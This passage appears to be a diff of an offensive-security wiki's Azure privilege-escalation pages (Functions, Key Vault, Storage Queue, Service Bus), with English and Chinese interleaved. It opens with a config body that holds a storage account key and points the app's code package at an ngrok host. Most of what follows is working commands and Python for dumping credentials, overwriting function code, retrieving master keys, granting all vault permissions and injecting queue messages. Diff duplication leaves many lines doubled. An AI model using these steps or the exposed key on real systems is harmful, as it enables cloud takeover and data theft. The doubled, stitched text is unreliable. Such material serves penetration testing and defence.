--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
|
||||
With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):
|
||||
|
||||
通过此权限,可以**通过网络控制台(或通过以下API端点)修改应用程序的代码**:
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
|
||||
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
|
||||
|
||||
此权限允许列出所有发布配置文件,这些配置文件基本上包含 **基本身份验证凭据**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
|
||||
Another option would be to set you own creds and use them using:
|
||||
|
||||
另一个选项是设置您自己的凭据并使用它们:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- 如果**REDACTED**凭据
|
||||
|
||||
- If **REDACTED** credentials
|
||||
|
||||
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
|
||||
如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
- **方法 SCM**
|
||||
|
||||
- **Method SCM**
|
||||
|
||||
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
|
||||
|
||||
然后,您可以使用这些 **基本身份验证凭据访问您的函数应用的 SCM URL** 并获取环境变量的值:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用名称,因此:`$<app-name>`。_
|
||||
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
您还可以通过 `https://<app-name>.scm.azurewebsites.net/BasicAuth` 访问网页。
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
设置值包含存储函数应用数据的存储帐户的 **AccountKey**,允许控制该存储帐户。
|
||||
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Connect to the FTP server using:
|
||||
- **方法 FTP**
|
||||
|
||||
使用以下方式连接到 FTP 服务器:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
|
||||
# Connect using lftp
|
||||
lftp -u '<username>','<password>' \
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
|
||||
# Some commands
|
||||
ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
_请注意,**FTP用户名**通常采用格式 \<app-name>\\$\<app-name>。_
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
|
||||
|
||||
根据[**文档**](https://github.com/projectkudu/kudu/wiki/REST-API#command),此权限允许**在SCM服务器内部执行命令**,这可能用于修改应用程序的源代码:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
This permission allows to **read the source code** of the app through the VFS:
|
||||
|
||||
此权限允许通过 VFS **读取应用的源代码**:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
|
||||
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
|
||||
|
||||
拥有此权限可以[获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
|
||||
|
||||
This permissions allows to **enable functions** that might be disabled (or disable them).
|
||||
|
||||
此权限允许**启用可能被禁用的函数**(或禁用它们)。
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
|
||||
It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
|
||||
|
||||
可以在以下URL中查看一个函数是启用还是禁用(使用括号中的权限):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
|
||||
|
||||
With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.
|
||||
|
||||
拥有这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如)并使该函数执行它。
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
|
||||
With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.
|
||||
|
||||
拥有这些权限可以**将新的用户管理身份附加到函数**。如果该函数被攻破,这将允许将权限提升到任何用户管理身份。
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### 远程调试
|
||||
|
||||
### Remote Debugging
|
||||
|
||||
It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.
|
||||
|
||||
It's possible to check if a Function has debugging enabled with:
|
||||
也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是,默认情况下,Azure 会在开发者忘记的情况下,在 2 天内将此选项关闭,以避免留下易受攻击的配置。
|
||||
|
||||
可以通过以下方式检查一个函数是否启用了调试:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).
|
||||
|
||||
拥有权限 `Microsoft.Web/sites/config/write` 也可以将函数置于调试模式(以下命令还需要权限 `Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read` 和 `Microsoft.Web/sites/Read`)。
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### 更改 Github 仓库
|
||||
|
||||
### Change Github repo
|
||||
|
||||
I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\
|
||||
Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful.
|
||||
|
||||
我尝试通过执行以下命令更改部署发生的 Github 仓库,但即使它确实更改了,**新代码并未加载**(可能是因为它期望 Github Action 更新代码)。\
|
||||
此外,**托管身份联合凭证未更新**以允许新仓库,因此看起来这并不是很有用。
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
|
||||
# Load new public repo
|
||||
az functionapp deployment source config \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+8
-14
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
有关此服务的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
@@ -12,8 +12,7 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.KeyVault/vaults/write
|
||||
|
||||
An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
|
||||
|
||||
具有此权限的攻击者将能够修改密钥保管库的策略(密钥保管库必须使用访问策略而不是RBAC)。
|
||||
```bash
|
||||
# If access policies in the output, then you can abuse it
|
||||
az keyvault show --name <vault-name>
|
||||
@@ -23,16 +22,11 @@ az ad signed-in-user show --query id --output tsv
|
||||
|
||||
# Assign all permissions
|
||||
az keyvault set-policy \
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,50 +12,41 @@ For more information check:
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
拥有此权限的攻击者可以从 Azure 存储队列中查看消息。这使攻击者能够查看消息的内容,而不将其标记为已处理或更改其状态。这可能导致对敏感信息的未经授权访问,从而使数据外泄或收集进一步攻击的情报。
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
**潜在影响**:未经授权访问队列、消息暴露或未经授权用户或服务对队列的操控。
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
拥有此权限的攻击者可以从 Azure 存储队列中检索和处理消息。这意味着他们可以读取消息内容并将其标记为已处理,从而有效地将其隐藏于合法系统。这可能导致敏感数据被暴露、消息处理方式的中断,甚至通过使消息对其预期用户不可用而停止重要工作流程。
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
通过此权限,攻击者可以向 Azure 存储队列添加新消息。这使他们能够将恶意或未经授权的数据注入队列,可能触发意外的操作或干扰处理消息的下游服务。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
此权限允许攻击者在 Azure 存储队列中添加新消息或更新现有消息。通过使用此权限,他们可以插入有害内容或更改现有消息,可能会误导依赖于该队列的应用程序或导致系统出现不希望的行为。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
此权限允许攻击者在存储帐户内创建或修改队列及其属性。它可以用于创建未经授权的队列、修改元数据或更改访问控制列表(ACL)以授予或限制访问。此能力可能会干扰工作流程、注入恶意数据、外泄敏感信息或操纵队列设置以启用进一步的攻击。
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -63,15 +54,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+67
-77
@@ -4,16 +4,15 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.
|
||||
### 发送消息。操作:`Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` 或 `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
您可以检索 `PrimaryConnectionString`,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以完全以 Service Bus 命名空间的身份进行身份验证,使您能够向任何队列或主题发送消息,并可能以可能干扰操作、冒充有效用户或将恶意数据注入消息工作流的方式与系统进行交互。
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -30,51 +29,51 @@ TOPIC_NAME = "<TOPIC_NAME>"
|
||||
|
||||
# Function to send a single message to a Service Bus topic
|
||||
async def send_individual_message(publisher):
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send multiple messages to a Service Bus topic
|
||||
async def send_multiple_messages(publisher):
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send a grouped batch of messages to a Service Bus topic
|
||||
async def send_grouped_messages(publisher):
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Main function to execute all tasks
|
||||
async def execute():
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
|
||||
# Run the asynchronous execution
|
||||
asyncio.run(execute())
|
||||
@@ -82,11 +81,9 @@ print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
### 接收消息。操作: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` 或 `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows.
|
||||
|
||||
您可以检索 PrimaryConnectionString,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以从命名空间内的任何队列或订阅接收消息,从而访问潜在的敏感或关键数据,允许数据外泄,或干扰消息处理和应用程序工作流。
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -102,48 +99,45 @@ SUBSCRIPTION_NAME = "<TOPIC_SUBSCRIPTION_NAME>" #Topic Subscription
|
||||
|
||||
# Function to receive and process messages from a Service Bus subscription
|
||||
async def receive_and_process_messages():
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
|
||||
# Run the asynchronous message processing function
|
||||
asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC).
|
||||
|
||||
